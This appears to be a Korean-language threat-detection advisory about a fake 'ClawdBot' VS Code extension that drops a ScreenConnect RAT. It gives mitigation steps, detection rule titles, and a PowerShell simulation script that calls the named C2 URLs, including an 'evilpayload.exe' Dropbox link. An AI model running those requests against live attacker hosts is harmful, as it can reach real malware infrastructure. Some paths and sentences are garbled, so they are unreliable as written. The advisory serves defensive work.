가짜 ClowdBot VS Code 확장 기능이 ScreenConnect RAT을(를) 드롭합니다
Detection stack
- AIDR
- Alert
- ETL
- Query
요약
악성 Visual Studio Code 확장 프로그램인 ClawdBot Agent 는 AI 코딩 도우미로 위장하고 있지만, VS Code가 실행될 때 Windows에 무기화된 ScreenConnect 원격 액세스 도구를 은밀하게 설치합니다. 시작 시 확장 프로그램은 공격자 제어 도메인에서 구성 파일을 가져온 후, 가짜 VS Code 바이너리(Code.exe)와 지원 DLL을 다운로드하고 실행합니다. 추가 전송 경로로 Dropbox 링크에서 동일한 설치 프로그램을 가져와 페이로드의 가용성을 유지할 수 있습니다. 이 캠페인은 신뢰받는 IT 지원 도구를 남용하여 합법적인 원격 관리 활동으로 위장하고 의심을 줄입니다.
조사
연구자들은 확장 프로그램의 package.json을 획득하고, VS Code 시작 시 활성화를 확인했으며, 악성 구성 요소를 열거하는 원격 JSON 구성을 검색했습니다. 바이너리 분석을 통해 맞춤 중계 서버로 신호를 보내는 서명된 ScreenConnect 모듈을 발견했습니다. JavaScript와 PowerShell에서 추가 예비 논리를 발견했으며, 2차 도메인과 Dropbox에 호스팅된 페이로드를 참조했습니다. 디스크 상 아티팩트가 %TEMP%Lightshot 폴더에 관찰되었습니다.
완화
VS Code에서 ClawdBot Agent 확장을 제거하고 ScreenConnect 설치 위치 및 %TEMP%Lightshot 디렉토리에 남아있는 파일을 삭제하십시오. ScreenConnect 클라이언트 서비스를 제거하고 식별된 중계 도메인 및 IP에 대한 아웃바운드 연결을 차단하십시오. 확장 프로그램에 입력했을 수 있는 API 키나 비밀을 변경하십시오.
대응
VS Code 확장 설치와 Lightshot 디렉토리 생성 모니터링으로 악성 확장을 탐지하십시오. 비표준 경로에서 Code.exe 또는 ScreenConnect 바이너리 실행과 meeting.bulletmailer.net:8041 또는 연관된 IP 주소에 대한 아웃바운드 연결에 알림을 설정하십시오. 호스트 포렌식을 수행하여 지속성 제거를 확인하고 추가 페이로드를 식별하십시오.
공격 흐름
탐지
대체 원격 액세스 / 관리 소프트웨어 (프로세스 생성 기준)
보기
PowerShell을 통한 다운로드 또는 업로드(cmdline 기준)
보기
대체 원격 액세스 / 관리 소프트웨어 (감사 기준)
보기
대체 원격 액세스 / 관리 소프트웨어 (시스템 기준)
보기
IOCs (DestinationIP) 탐지: 가짜 Clawdbot VS Code 확장 프로그램 설치 ScreenConnect RAT
보기
IOCs (SourceIP) 탐지: 가짜 Clawdbot VS Code 확장 프로그램 설치 ScreenConnect RAT
보기
IOCs (HashSha256) 탐지: 가짜 Clawdbot VS Code 확장 프로그램 설치 ScreenConnect RAT
보기
IOCs (이메일) 탐지: 가짜 Clawdbot VS Code 확장 프로그램 설치 ScreenConnect RAT
보기
가짜 Clawdbot VS Code 확장 프로그램 설치 ScreenConnect RAT [Windows 프로세스 생성]
보기
가짜 Clawdbot VS Code 확장 프로그램 설치 ScreenConnect RAT 감지 [Windows 네트워크 연결]
보기
시뮬레이션 실행
전제 조건: 텔레메트리 및 베이스라인 사전 비행 점검이 통과해야 합니다.
공격 서사 및 명령어
- 공격자가 트로이 목마화된 VS Code 확장 프로그램을 게시합니다 “Clawdbot Helper”라는 제목으로.
-
피해자가 확장 프로그램을 설치합니다 VS Code 마켓플레이스를 통해, 이는
설치 후스크립트를 실행하여 ScreenConnect 클라이언트 (ScreenConnect.Client.exe)를%APPDATA%ScreenConnect. - 에 조용히 드롭합니다, 설치 직후 클라이언트는 공격자가 제어하는 C2 도메인으로 3개의 아웃바운드 TCP 연결을 초기화하여 추가 페이로드를 검색하고 호스트 상태를 보고합니다.
-
아웃바운드 연결은 Sysmon Event ID 3 레코드를 생성하여
목적 IP목록과 일치하여 탐지 규칙을 만족합니다.
회귀 테스트 스크립트
# --------------------------------------------------------------
# 시뮬레이션된 악성 VS Code 확장 프로그램 설치 후 루틴
# --------------------------------------------------------------
# Step 1 – 더미 ScreenConnect 바이너리 드롭하기 (시뮬레이션)
$payloadPath = "$env:APPDATAScreenConnectScreenConnect.Client.exe"
New-Item -ItemType Directory -Path (Split-Path $payloadPath) -Force | Out-Null
# 무해한 자리 표시자 바이너리 생성 (예: notepad.exe 복사본)
Copy-Item -Path "$env:SystemRootSystem32notepad.exe" -Destination $payloadPath -Force
# Step 2 – 각 C2 호스트로 아웃바운드 연결 실행
$c2Hosts = @(
"http://meeting.bulletmailer.net/collect",
"http://clawdbot.getintwopc.site/payload",
"https://www.dropbox.com/s/evilpayload.exe"
)
foreach ($url in $c2Hosts) {
try {
# 무소음 웹 요청; -UseBasicParsing는 UI 프롬프트를 방지합니다
Invoke-WebRequest -Uri $url -Method GET -UseBasicParsing -TimeoutSec 5 | Out-Null
Write-Host "Contacted $url"
} catch {
Write-Host "Failed to contact $url (expected in a sandbox)."
}
}
# 스크립트 종료 – 이 시점에서 Sysmon은 세 개의
# NetworkConnect 이벤트를 기록해야 하며, DestinationIp 값이 규칙과 일치합니다.
정리 명령어
# --------------------------------------------------------------
# 시뮬레이션된 아티팩트 제거
# --------------------------------------------------------------
# 남아 있는 PowerShell 작업 중지(이 간단한 스크립트에는 없음)
Get-Job | Remove-Job -Force
# 더미 ScreenConnect 클라이언트 폴더 삭제
Remove-Item -Path "$env:APPDATAScreenConnect" -Recurse -Force
# 선택적으로 Sysmon 버퍼 지우기 (관리자 필요)
# sysmon -c